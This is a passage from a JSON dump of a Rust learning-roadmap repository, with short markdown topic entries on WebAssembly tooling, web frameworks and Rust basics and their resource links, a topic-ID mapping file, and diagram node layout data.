    "content": "# wasm-pack\n\n`wasm-pack` is a command-line tool for assembling and packaging Rust crates targeting WebAssembly. It bridges Rust/WASM and JavaScript, generating necessary files for npm publishing. Ensures proper Rust-to-WASM compilation setup with focus on ergonomics, performance, and correctness.\n\nVisit the following resources to learn more:\n\n- [@official@wasm-pack](https://lib.rs/crates/wasm-pack)\n- [@opensource@rustwasm/wasm-pack](https://github.com/rustwasm/wasm-pack)\n- [@article@Writing & Compiling WASM in Rust](https://www.shuttle.dev/blog/2024/03/06/writing-wasm-rust)\n- [@article@Compiling from Rust to WebAssembly](https://developer.mozilla.org/en-US/docs/WebAssembly/Guides/Rust_to_Wasm)"
  },
  {
    "path": "src/data/roadmaps/rust/content/wasmer@iyFHvZj_ntr_dX6WlL4E1.md",
    "content": "# Wasmer\n\nWasmer is a standalone WebAssembly runtime designed to run WASM files on any platform quickly and efficiently. Features a pluggable system with different compiling strategies, friendly CLI, and embedding APIs for calling WASM functions directly from various programming languages. Lightweight and modular.\n\nVisit the following resources to learn more:\n\n- [@official@Embedding WebAssembly in your Rust Application](https://blog.wasmer.io/executing-webassembly-in-your-rust-application-d5cd32e8ce46)\n- [@opensource@wasmerio/wasmer](https://github.com/wasmerio/wasmer)\n- [@article@Wasmer — WebAssembly in Rust](https://lib.rs/crates/wasmer)\n- [@article@Writing & Compiling WASM in Rust](https://www.shuttle.dev/blog/2024/03/06/writing-wasm-rust)\n- [@article@Compiling from Rust to WebAssembly](https://developer.mozilla.org/en-US/docs/WebAssembly/Guides/Rust_to_Wasm)"
  },
  {
    "path": "src/data/roadmaps/rust/content/web-development@KomYBYxj0FTrJDYB3nU5B.md",
    "content": "# Web Development\n\nRust offers excellent web development capabilities with frameworks like Actix, Rocket, Axum, and Warp. These provide HTTP handling, routing, middleware, and database integration. Rust's performance and safety make it ideal for high-performance web services, APIs, and microservices.\n\nVisit the following resources to learn more:\n\n- [@official@Rocket - Simple, Fast, Type-Safe Web Framework for Rust](https://rocket.rs/)\n- [@article@Rust for Web Development: A Beginner's Guide](https://medium.com/@enravishjeni411/rust-for-web-development-a-beginners-guide-fcc994e5c090)\n- [@article@How to Write Your First Rust Web App with Rocket and RustRover](https://blog.jetbrains.com/rust/2024/02/28/how-to-write-your-first-rust-web-app-with-rocket-and-rustrover/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/webassembly-wasm@fusu4ZHH4-cjoouLr4F9U.md",
    "content": "# WebAssembly (WASM)\n\nWebAssembly is a binary instruction format that runs at near-native speed in web browsers and other environments. Rust compiles excellently to WASM with tools like `wasm-pack` and `wasm-bindgen`, enabling high-performance web applications and cross-platform deployment.\n\nVisit the following resources to learn more:\n\n- [@official@Embedding WebAssembly in your Rust Application](https://blog.wasmer.io/executing-webassembly-in-your-rust-application-d5cd32e8ce46)\n- [@official@wasm-pack](https://lib.rs/crates/wasm-pack)\n- [@official@wasm-bindgen](https://docs.rs/wasm-bindgen/latest/wasm_bindgen/)\n- [@article@Writing & Compiling WASM in Rust](https://www.shuttle.dev/blog/2024/03/06/writing-wasm-rust)\n- [@article@Compiling from Rust to WebAssembly](https://developer.mozilla.org/en-US/docs/WebAssembly/Guides/Rust_to_Wasm)"
  },
  {
    "path": "src/data/roadmaps/rust/content/wgpu-rs@6wGShK9WEnXiby_Jm8sTO.md",
    "content": "# wgpu-rs\n\n`wgpu-rs` provides safe, idiomatic Rust graphics programming by abstracting over wgpu-core. Offers high-level convenience with low-level control options. Provides unified access to graphics and compute functionality across Vulkan, Metal, DirectX, and WebGPU backends for cross-platform compatibility.\n\nVisit the following resources to learn more:\n\n- [@official@wgpu: portable graphics library for Rust](https://wgpu.rs/)\n- [@opensource@gfx-rs/wgpu](https://github.com/gfx-rs/wgpu)\n- [@article@wpgu docs](hhttps://docs.rs/wgpu/latest/wgpu/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/what-is-rust@cMfsRtvzvDZZJ0TqeUOxm.md",
    "content": "# What is Rust?\n\nRust is a modern system programming language focused on performance, safety, and concurrency. It accomplishes these goals without having a garbage collector, making it a useful language for a number of use cases other languages aren’t good at. Its syntax is similar to C++, but Rust offers better memory safety while maintaining high performance.\n\nVisit the following resources to learn more:\n\n- [@official@Rust? What is it?](https://doc.rust-lang.org/stable/rust-by-example/index.html)\n- [@official@Rust Programming Language](https://www.rust-lang.org/)\n- [@article@What is Rust and why is it so popular?](https://stackoverflow.blog/2020/01/20/what-is-rust-and-why-is-it-so-popular/)\n- [@video@What is Rust?](https://www.youtube.com/watch?v=R33h77nrMqc)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/rust/content/why-use-rust@VhSEH_RoWFt1z2lial7xZ.md",
    "content": "# Why use Rust?\n\nRust is a system programming language that aims to provide memory safety, concurrency, and performance with a focus on zero cost abstractions. It was originally created by Graydon Hoare at Mozilla Research, with contributions from Brendan Eich, the creator of JavaScript. Rust is appreciated for the solutions it provides to common programming language issues. Its emphasis on safety, speed, and support for concurrent programming, as well as its robust type system, are just a few reasons why developers choose Rust.\n\nVisit the following resources to learn more:\n\n- [@official@Rust? What is it?](https://doc.rust-lang.org/stable/rust-by-example/index.html)\n- [@official@Rust Programming Language](https://www.rust-lang.org/)\n- [@video@What is Rust?](https://www.youtube.com/watch?v=R33h77nrMqc)\n- [@video@Convince your boss to use Rust](https://www.youtube.com/playlist?list=PLZaoyhMXgBzqkaLKR8HHWZaASMvW4gRtZ)\n- [@video@Rust in 100 seconds](https://www.youtube.com/watch?v=5C_HPTJg5ek&pp=ygUNcnVzdCBmaXJlYmFzZQ%3D%3D)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/rust/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/rust/migration-mapping.json",
    "content": "{\n  \"introduction\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n  \"introduction:what-is-rust\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n  \"introduction:why-rust\": \"VhSEH_RoWFt1z2lial7xZ\",\n  \"introduction:installing-rust\": \"-IqA02ObYvXPW1ot6t_b9\",\n  \"introduction:ides-and-rust\": \"oyP1ZyOgDC4nYEQXHwdVQ\",\n  \"introduction:rust-repl\": \"eYCNYtwXBjZwcPUe7QYZ-\",\n  \"language-basics\": \"6E4pGifNfSAq6SbzfzFNT\",\n  \"language-basics:syntax:pattern-matching\": \"yqp3UePmSlGyOYpxITis4\",\n  \"language-basics:syntax:functions\": \"5hKJaMKpeFEUi3S1Hpiyk\",\n  \"language-basics:syntax:control-flow\": \"u2wlnmE1uLaTqWw35UF0a\",\n  \"language-basics:syntax:variables\": \"Gw5E21W5zis-RUIgNSEV2\",\n  \"language-basics:constructs:enums\": \"FswpjWqqt8-BzUTsDDjel\",\n  \"language-basics:constructs:structs\": \"Mi9mQ-8gyDPd8Mbu1zuHt\",\n  \"language-basics:constructs:traits\": \"SJMuIEuHp8X6nfLb0k0TU\",\n  \"language-basics:constructs:impl-blocks\": \"HzWHDQZjA9OgVZEWrmhKf\",\n  \"language-basics:data-structures:integers\": \"FHZSxSiOZYNBEz6tu8wuF\",\n  \"language-basics:data-structures:floats\": \"rNHHp1GgmRnKIYlZayi59\",\n  \"language-basics:data-structures:boolean\": \"bjwJCGMx5ZfrH7vz3eLS7\",\n  \"language-basics:data-structures:character\": \"dXMJb2wDmmh2jie1AnPoK\",\n  \"language-basics:data-structures:tuple\": \"81_J7CwtUUjYPvKV_prg3\",\n  \"language-basics:data-structures:array\": \"2DbdHCjFzGHwCUETakaGh\",\n  \"language-basics:data-structures:vector\": \"PskCueCc9pSxfnSzfdX-u\",\n  \"language-basics:data-structures:string\": \"Hu1jf46OpX44nam_UvYqc\",\n  \"language-basics:data-structures:hashmap\": \"JAgjrf5WDXiorZ6gFRzTc\",\n  \"language-basics:data-structures:hashset\": \"b1iYy4Hvkj47Q13V2HE4i\",\n  \"language-basics:data-structures:linked-list\": \"iR0ewc2yURqS7bfMWfoBi\",\n  \"language-basics:data-structures:binary-heap\": \"jdndHBzmdgI6uYql6bO4W\",\n  \"language-basics:data-structures:stack\": \"B-S1hE-ofNTutnkc2hJBf\",\n  \"language-basics:data-structures:queue\": \"fq2NMV-QV9ayJl82ZWzov\",\n  \"language-basics:data-structures:btree-map\": \"LWgaZWTJVWLDes3HzflRh\",\n  \"language-basics:data-structures:btree-set\": \"FsyLYRQP_rs4qL7IAj9Mo\",\n  \"language-basics:data-structures:rc\": \"U9Bd-GO0QwYVLvESR4PTb\",\n  \"language-basics:data-structures:arc\": \"yYmV5qkldu0FkDhOhWOXs\",\n  \"language-basics:data-structures:mutex\": \"GbbeV3r27IBEKHyiyLqs6\",\n  \"language-basics:data-structures:rwlock\": \"WzGl4DkANjUu7VC1AIWI-\",\n  \"language-basics:data-structures:channels\": \"3nXJg5Y4SUug_dEAj0eQm\",\n  \"language-basics:ownership:rules\": \"2UQ3AuGkDbT0-54l0rOGM\",\n  \"language-basics:ownership:borrowing\": \"-onH5vPffdcZFjjVcnEpk\",\n  \"language-basics:ownership:stack-heap\": \"UdXq0H8599cDTKXaIlPqt\",\n  \"error-handling\": \"X2gB0m-ZKSC4TJyIcwsMx\",\n  \"error-handling:option\": \"wQHkBydWsiGEOZMdKmz40\",\n  \"error-handling:propagating\": \"pTC1ucmErVnMbNFnYLJK7\",\n  \"error-handling:custom-error\": \"LwqOxYY9E9MUDgz2M40uV\",\n  \"modules-and-crates\": \"Zpowr_NGd-E2DC3g-oW9h\",\n  \"modules-and-crates:code-organization\": \"c_SdccEXEJyh4ymWzvCeX\",\n  \"modules-and-crates:dependency-mgmt\": \"PkePVzV-b1pgFJP5xID5_\",\n  \"modules-and-crates:publishing\": \"Op0-bdMV3kE9Be6Ot1aC6\",\n  \"concurrency-parallelism\": \"pehYc_xLrs6BFUbcpPTiJ\",\n  \"concurrency-parallelism:threads\": \"pJN260pWQVO0gHxi1-_3U\",\n  \"concurrency-parallelism:atomic-operations\": \"n1Epl_nBuoXW2OE0IKYVR\",\n  \"concurrency-parallelism:futures\": \"kVfBbsOHoixvqb4dYTG3Q\",\n  \"traits-generics\": \"zLKbYX0nnbfD5n3P_JRaS\",\n  \"traits-generics:trait-def\": \"_EicstELZcdesHiXFWJGu\",\n  \"traits-generics:trait-bounds\": \"pRDgDtRIVpNM2CdhSOS3Q\",\n  \"traits-generics:advanced-generics\": \"_hxwo_iAdOwlWBltv7i6i\",\n  \"lifetimes-borrow\": \"UZ56NKloehcxUFNuSeO19\",\n  \"lifetimes-borrow:explicit-lifetime\": \"R5HIVS-lyCp9b46aXqx2m\",\n  \"lifetimes-borrow:lifetime-elision\": \"qJI8GObmsxyc_tTtUEOAd\",\n  \"lifetimes-borrow:covariant\": \"7yVvMnvCvLbFa51pESx0j\",\n  \"macros\": \"eTpZXd8E2jVBmk_aSLZYV\",\n  \"macros:declarative\": \"AXWXXsww7Xkl3BYgtThNe\",\n  \"macros:procedural\": \"bkVM1OIbv4XUpY6FQb8x_\",\n  \"macros:domain-specific\": \"Kb7KF7JCMaWFz-GuaQmQV\",\n  \"web-development\": \"KomYBYxj0FTrJDYB3nU5B\",\n  \"web-development:rocket\": \"ApjwY_70OGG_dNIC85oBD\",\n  \"web-development:axum\": \"duQ1RO1lqq793mfb5w31P\",\n  \"web-development:actix\": \"3Y90v2ysoMcyjDL24H7mC\",\n  \"async-programming\": \"yu0f5gALho0e8wzV10yow\",\n  \"async-programming:tokio\": \"H0mctp3Bj2OYfIGFDWGfz\",\n  \"async-programming:async-std\": \"_2uQInXPdOY-DpYTO1Prt\",\n  \"async-programming:smol\": \"3C9gCBAq3OQVb583S72D4\",\n  \"networking\": \"3pL0ARqk8uRNimopHSalW\",\n  \"networking:reqwest\": \"TtajUXZpyNx9AmdUawm-8\",\n  \"networking:hyper\": \"-MiN5ytI43EjgmWV55BhU\",\n  \"networking:quinn\": \"qi1pmsY8bPk8nbHiBIGha\",\n  \"serialization\": \"gcmKSLWfBqx4aPZOmyQsg\",\n  \"serialization:serde\": \"EHErECEYws05oi59OsZpC\",\n  \"serialization:json-rust\": \"ZXMKY0f7mqqlsvyH9u-LM\",\n  \"database-orm\": \"_n7emeqzf5UTxVB5-385G\",\n  \"database-orm:diesel\": \"UAXpBK3lfnq0Q4RcBehZ1\",\n  \"database-orm:sqlx\": \"r2KembNZ2WIzLe87EB91K\",\n  \"database-orm:rusqlite\": \"a2MLN7f-FvsgdmvP9ixlv\",\n  \"cryptography\": \"Rv_Z-rbtELPZ1Nv0PZQmV\",\n  \"cryptography:ring\": \"w8nxQDxmfoUHkFV66TKiq\",\n  \"cryptography:rust-crypto\": \"f68x7r-qzaQfrzXnjOI2q\",\n  \"cryptography:sodiumoxide\": \"hzzRFb5cyXkgUdLZxaozB\",\n  \"cli-utils\": \"2Zyyf9q_CxmOW-z2pipL8\",\n  \"cli-utils:clap\": \"AId80IokM7NvGBVutmuGC\",\n  \"cli-utils:structopt\": \"_43912wPdXgLL8v-IMHX_\",\n  \"cli-utils:termion\": \"YS0igALDqSanGDWva_vls\",\n  \"game-dev\": \"uG-EmZVZ-jc3mswOT4-7l\",\n  \"game-dev:bevy\": \"uyrGki0jB7DXQ0HJe2-vY\",\n  \"game-dev:fyrox\": \"x9bmK_cLYpX0ebwjZUn4R\",\n  \"game-dev:ggez\": \"qquYnrrzUlyd8738jzj1D\",\n  \"game-dev:macroquad\": \"EtKhe3lgK3NoiBOjXRb2O\",\n  \"game-dev:wgpu-rs\": \"6wGShK9WEnXiby_Jm8sTO\",\n  \"gui-dev\": \"T1LlJz5m5wnwBvKAEuGnP\",\n  \"gui-dev:tauri\": \"Q71MnFDQBkZF1c2hj13pU\",\n  \"gui-dev:gtk-rs\": \"2Zp3m3Y7j6R1hK3DIVdkH\",\n  \"gui-dev:relm\": \"QbdGnUoTLgMHO1NCQINIi\",\n  \"embedded\": \"RKXljexmLAceMYwg4D_uP\",\n  \"embedded:embedded-hal\": \"LzaO2cpDajXERqEYDjMl_\",\n  \"embedded:rppal\": \"L01rVq2_H4rWzlKygW5kA\",\n  \"embedded:nrf-hal\": \"ETYrk0s5Wn80XyntNG_t1\",\n  \"wasm\": \"fusu4ZHH4-cjoouLr4F9U\",\n  \"wasm:wasm-bindgen\": \"SUtBBqqDeR_yAkr669ZvE\",\n  \"wasm:wasm-pack\": \"TSlj7mMUB5CDTy8uMFzKV\",\n  \"wasm:wasmer\": \"iyFHvZj_ntr_dX6WlL4E1\",\n  \"testing\": \"08qKtgnhJ3tlb5JKfTDf5\",\n  \"testing:unit-integration\": \"w9coeW9-crDxu0KC-9gEU\",\n  \"testing:mocking\": \"HEqfA6An6ZeT3z4R610en\",\n  \"debugging\": \"7YKWYxogJq6X35IAUwcZF\",\n  \"debugging:rust-gdb\": \"UkHXsAolmbk-MsJFfqObC\",\n  \"debugging:rust-lldb\": \"p1w1iljGABgHoJjIRJYLY\",\n  \"rustdoc\": \"65nbahPj9qAb9y8dF8Jnd\",\n  \"perf-profiling\": \"WduD9VIcYSs_JTnuMNyxk\",\n  \"perf-profiling:criterion-rs\": \"clQ26LFV_9AdQ4evnaxUK\",\n  \"serialization:toml-rs\": \"LmFog_qXrS9e5ARhV6OD_\"\n}\n"
  },
  {
    "path": "src/data/roadmaps/rust/rust.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"rUrQuzfx0d3m8ikW8zqYW\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 259.08542331133776,\n        \"y\": 2989.863187593087\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Ox1rQuCaV-vAnC00DDOgc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 91\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 259.08542331133776,\n        \"y\": 2989.863187593087\n      }\n    },\n    {\n      \"id\": \"KoqpyorKd1eaw1oaJFDOl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 122.58542331133776,\n        \"y\": 2989.863187593087\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"rUrQuzfx0d3m8ikW8zqYW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 91\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 122.58542331133776,\n        \"y\": 2989.863187593087\n      }\n    },\n    {\n      \"id\": \"Ox1rQuCaV-vAnC00DDOgc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 263.8018811735381,\n        \"y\": 2599.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 91\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 263.8018811735381,\n        \"y\": 2599.435641912534\n      }\n    },\n    {\n      \"id\": \"9gAM0HHc7BjiI_57YohcR\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 112.64941537716832,\n        \"y\": 2599.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"rUrQuzfx0d3m8ikW8zqYW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 91\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 112.64941537716832,\n        \"y\": 2599.435641912534\n      }\n    },\n    {\n      \"id\": \"wwwGrtZtMCvNAsHcV6iTp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -274.0874712538206,\n        \"y\": 2612.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Ox1rQuCaV-vAnC00DDOgc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 78\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -274.0874712538206,\n        \"y\": 2612.435641912534\n      }\n    },\n    {\n      \"id\": \"MI-EBA-E6XSFHvcwTGVSX\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -188.2592360689243,\n        \"y\": 2612.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Ox1rQuCaV-vAnC00DDOgc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 78\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -188.2592360689243,\n        \"y\": 2612.435641912534\n      }\n    },\n    {\n      \"id\": \"OSwj7Vb5wZ0NYRbwyv9Fa\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -94.81180589576024,\n        \"y\": 2612.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Ox1rQuCaV-vAnC00DDOgc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 78\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -94.81180589576024,\n        \"y\": 2612.435641912534\n      }\n    },\n    {\n      \"id\": \"g_55QGdPXDqpegvW-Ory8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -665.6322659713495,\n        \"y\": 2685.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"DYCWEBzyai0biBdJNKpcb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 79\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -665.6322659713495,\n        \"y\": 2685.435641912534\n      }\n    },\n    {\n      \"id\": \"zGOEt71ky7va_Wsd-Z0DI\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -568.2748410324898,\n        \"y\": 2681.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"DYCWEBzyai0biBdJNKpcb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -568.2748410324898,\n        \"y\": 2681.435641912534\n      }\n    },\n    {\n      \"id\": \"DYCWEBzyai0biBdJNKpcb\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -475.1322659713495,\n        \"y\": 2680.435641912534\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Ox1rQuCaV-vAnC00DDOgc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 84\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -475.1322659713495,\n        \"y\": 2680.435641912534\n      }\n    },\n    {\n      \"id\": \"djbcwu0u-S1s-6KsItcVb\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -476.91948266035604,\n        \"y\": 2445.7871651675737\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"Ox1rQuCaV-vAnC00DDOgc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 78\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -476.91948266035604,\n        \"y\": 2445.7871651675737\n      }\n    },\n    {\n      \"id\": \"AQLvE8HuoruqfQaWUmUbA\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -662.2748410324898,\n        \"y\": 2462.255858255128\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"DYCWEBzyai0biBdJNKpcb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 78\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -662.2748410324898,\n        \"y\": 2462.255858255128\n      }\n    },\n    {\n      \"id\": \"_BUGCGhl3YZmYwMFjF8EQ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -124.1381872719935,\n        \"y\": 2318.50200658478\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 120\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -124.1381872719935,\n        \"y\": 2318.50200658478\n      }\n    },\n    {\n      \"id\": \"ZyzVpBl6GnmYA9D8jw0RZ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -249.7748410324898,\n        \"y\": 2318.50200658478\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"_BUGCGhl3YZmYwMFjF8EQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 120\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -249.7748410324898,\n        \"y\": 2318.50200658478\n      }\n    },\n    {\n      \"id\": \"dtTAH6laZUBK5Dz1YLSFp\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 87.58542331133775,\n        \"y\": 2328.50200658478\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"FGUbNtBQHC9af26mD5gAv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 110\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 87.58542331133775,\n        \"y\": 2328.50200658478\n      }\n    },\n    {\n      \"id\": \"QBQtHQmySwZy2ZCdpTzly\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 187.58542331133776,\n        \"y\": 2328.50200658478\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"FGUbNtBQHC9af26mD5gAv\"\n      },\n      \"zIndex\": 999,\n      